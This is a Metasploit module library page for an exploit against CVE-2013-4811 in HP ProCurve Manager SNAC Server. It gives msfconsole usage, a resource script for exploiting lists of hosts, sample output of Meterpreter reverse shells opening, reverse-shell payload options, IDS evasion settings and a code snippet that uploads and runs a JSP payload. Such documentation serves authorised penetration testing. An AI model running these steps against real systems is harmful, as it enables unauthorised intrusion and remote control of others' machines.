HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload - Metasploit
This page contains detailed information about how to use the exploit/windows/http/hp_pcm_snac_update_domain metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload
Module: exploit/windows/http/hp_pcm_snac_update_domain
Source code: modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
Disclosure date: 2013-09-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): java
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-4811
This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary files, just having into account binary writes aren't allowed. Additionally, authentication can be bypassed in order to upload the file. This module has been tested successfully on the SNAC server installed with HP ProCurve Manager 4.0.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using hp_pcm_snac_update_domain against a single host
Normally, you can use exploit/windows/http/hp_pcm_snac_update_domain this way:
msf > use exploit/windows/http/hp_pcm_snac_update_domain
msf exploit(hp_pcm_snac_update_domain) > show targets
... a list of targets ...
msf exploit(hp_pcm_snac_update_domain) > set TARGET target-id
msf exploit(hp_pcm_snac_update_domain) > show options
... show and set options ...
msf exploit(hp_pcm_snac_update_domain) > exploit
Using hp_pcm_snac_update_domain against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your hp_pcm_snac_update_domain will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/hp_pcm_snac_update_domain")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the windows/http/hp_pcm_snac_update_domain exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/hp_pcm_snac_update_domain
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show info
Name: HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload
Module: exploit/windows/http/hp_pcm_snac_update_domain
Platform: Windows
Arch: java
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-09-09
Provided by:
rgod <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 HP ProCurve Manager 4.0 SNAC Server
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a path traversal flaw in the HP ProCurve
Manager SNAC Server. The vulnerability in the
UpdateDomainControllerServlet allows an attacker to upload arbitrary
files, just having into account binary writes aren't allowed.
Additionally, authentication can be bypassed in order to upload the
file. This module has been tested successfully on the SNAC server
installed with HP ProCurve Manager 4.0.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-4811
OSVDB (97154)
http://www.securityfocus.com/bid/62349
http://www.zerodayinitiative.com/advisories/ZDI-13-226
Module Options
This is a complete list of options available in the windows/http/hp_pcm_snac_update_domain exploit:
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show options
Module options (exploit/windows/http/hp_pcm_snac_update_domain):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 HP ProCurve Manager 4.0 SNAC Server
Advanced Options
Here is a complete list of advanced options supported by the windows/http/hp_pcm_snac_update_domain exploit:
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show advanced
Module advanced options (exploit/windows/http/hp_pcm_snac_update_domain):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/hp_pcm_snac_update_domain module can exploit:
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show targets
Exploit targets:
Id Name
-- ----
0 HP ProCurve Manager 4.0 SNAC Server
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/hp_pcm_snac_update_domain exploit:
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/hp_pcm_snac_update_domain exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/hp_pcm_snac_update_domain) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to get a valid session
Here is a relevant code snippet related to the "<PEER> - Failed to get a valid session" error message:
112:
113: def exploit
114: print_status("Getting a valid session...")
115: session = get_session
116: if session.nil?
117: fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session")
118: end
119:
120: print_status("Uploading payload...")
121: jsp = exploit_upload(session)
122: unless jsp
<PEER> - Upload failed
Here is a relevant code snippet related to the "<PEER> - Upload failed" error message:
118: end
119:
120: print_status("Uploading payload...")
121: jsp = exploit_upload(session)
122: unless jsp
123: fail_with(Failure::NotVulnerable, "#{peer} - Upload failed")
124: end
125:
126: print_status("Executing payload...")
127: send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
128: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #4832 Merged Pull Request: Fix duplicate hash keys
- #3727 Merged Pull Request: Module for ZDI-14-299 SolarWinds Storage Manager AND Msf::Payload::JSP
- #2560 Merged Pull Request: ZDI references for reference.rb
- #2525 Merged Pull Request: Change module boilerplate
- #2422 Merged Pull Request: remove peer and rport methods since they are already defined in Msf::Exploit::Remote::HttpClient
- #2372 Merged Pull Request: Release module check
- #2367 Merged Pull Request: Add module for ZDI-13-226
References
- CVE-2013-4811
- OSVDB (97154)
- BID-62349
- ZDI-13-226
See Also
Check also the following modules related to this module:
- exploit/windows/http/hp_autopass_license_traversal
- exploit/windows/http/hp_imc_bims_upload
- exploit/windows/http/hp_imc_java_deserialize
- exploit/windows/http/hp_imc_mibfileupload
- exploit/windows/http/hp_loadrunner_copyfiletoserver
- exploit/windows/http/hp_mpa_job_acct
- exploit/windows/http/hp_nnm_getnnmdata_hostname
- exploit/windows/http/hp_nnm_getnnmdata_icount
- exploit/windows/http/hp_nnm_getnnmdata_maxage
- exploit/windows/http/hp_nnm_nnmrptconfig_nameparams
- exploit/windows/http/hp_nnm_nnmrptconfig_schdparams
- exploit/windows/http/hp_nnm_openview5
- exploit/windows/http/hp_nnm_ovalarm_lang
- exploit/windows/http/hp_nnm_ovas
- exploit/windows/http/hp_nnm_ovbuildpath_textfile
- exploit/windows/http/hp_nnm_ovwebhelp
- exploit/windows/http/hp_nnm_ovwebsnmpsrv_main
- exploit/windows/http/hp_nnm_ovwebsnmpsrv_ovutil
- exploit/windows/http/hp_nnm_ovwebsnmpsrv_uro
- exploit/windows/http/hp_nnm_snmp
- exploit/windows/http/hp_nnm_snmpviewer_actapp
- exploit/windows/http/hp_nnm_toolbar_01
- exploit/windows/http/hp_nnm_toolbar_02
- exploit/windows/http/hp_nnm_webappmon_execvp
- exploit/windows/http/hp_nnm_webappmon_ovjavalocale
- exploit/windows/http/hp_openview_insight_backdoor
- exploit/windows/http/hp_pcm_snac_update_certificates
- exploit/windows/http/hp_power_manager_filename
- exploit/windows/http/hp_power_manager_login
- exploit/windows/http/hp_sitescope_dns_tool
- exploit/windows/http/hp_sitescope_runomagentcommand
- auxiliary/admin/hp/hp_data_protector_cmd
- auxiliary/admin/hp/hp_ilo_create_admin_account
- auxiliary/admin/hp/hp_imc_som_create_account
- auxiliary/dos/hp/data_protector_rds
Authors
- rgod <rgod[at]autistici.org>
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.